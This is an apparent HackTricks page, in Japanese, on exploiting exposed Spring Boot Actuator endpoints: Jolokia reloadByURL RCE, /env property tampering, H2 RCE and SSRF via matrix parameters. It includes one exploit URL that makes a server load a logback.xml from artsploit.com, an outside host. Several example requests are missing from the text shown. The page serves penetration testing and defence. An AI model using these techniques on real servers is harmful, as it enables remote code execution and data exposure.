Spring Actuators
Last updated
Last updated
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
出典 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
元の投稿を確認してください [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Spring Boot Actuatorsは、/health
、/trace
、/beans
、/env
などのエンドポイントを登録します。バージョン1から1.4では、これらのエンドポイントは認証なしでアクセス可能です。バージョン1.5以降は、デフォルトで非機密なのは/health
と/info
のみですが、開発者はこのセキュリティを無効にすることがよくあります。
特定のActuatorエンドポイントは、機密データを露出させたり、有害なアクションを許可したりする可能性があります:
/dump
、/trace
、/logfile
、/shutdown
、/mappings
、/env
、/actuator/env
、/restart
、および/heapdump
。
Spring Boot 1.xでは、アクチュエーターはルートURLの下に登録されますが、2.xでは/actuator/
ベースパスの下にあります。
'/jolokia'を介したリモートコード実行:
/jolokia
アクチュエーターエンドポイントは、MBeansへのHTTPアクセスを可能にするJolokiaライブラリを公開します。
reloadByURL
アクションは、外部URLからログ設定を再読み込みするために悪用される可能性があり、盲目的なXXEや作成されたXML設定を介したリモートコード実行につながる可能性があります。
例の悪用URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
。
'/env'を介した設定変更:
Spring Cloudライブラリが存在する場合、/env
エンドポイントは環境プロパティの変更を許可します。
プロパティは、Eureka serviceURLにおけるXStreamデシリアライズ脆弱性などの脆弱性を悪用するために操作できます。
例の悪用POSTリクエスト:
その他の有用な設定:
spring.datasource.tomcat.validationQuery
、spring.datasource.tomcat.url
、およびspring.datasource.tomcat.max-active
のようなプロパティは、SQLインジェクションやデータベース接続文字列の変更など、さまざまな悪用のために操作できます。
デフォルトのアクチュエーターの包括的なリストはこちらで見つけることができます。
Spring Boot 2.xの/env
エンドポイントは、プロパティ変更のためにJSON形式を使用しますが、一般的な概念は同じです。
Env + H2 RCE:
/env
エンドポイントとH2データベースの組み合わせを悪用する詳細はこちらで見つけることができます。
不正なパス名解釈によるSpring Boot上のSSRF:
SpringフレームワークのHTTPパス名におけるマトリックスパラメータ(;
)の処理は、サーバーサイドリクエストフォージェリ(SSRF)を悪用するために利用される可能性があります。
例の悪用リクエスト:
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)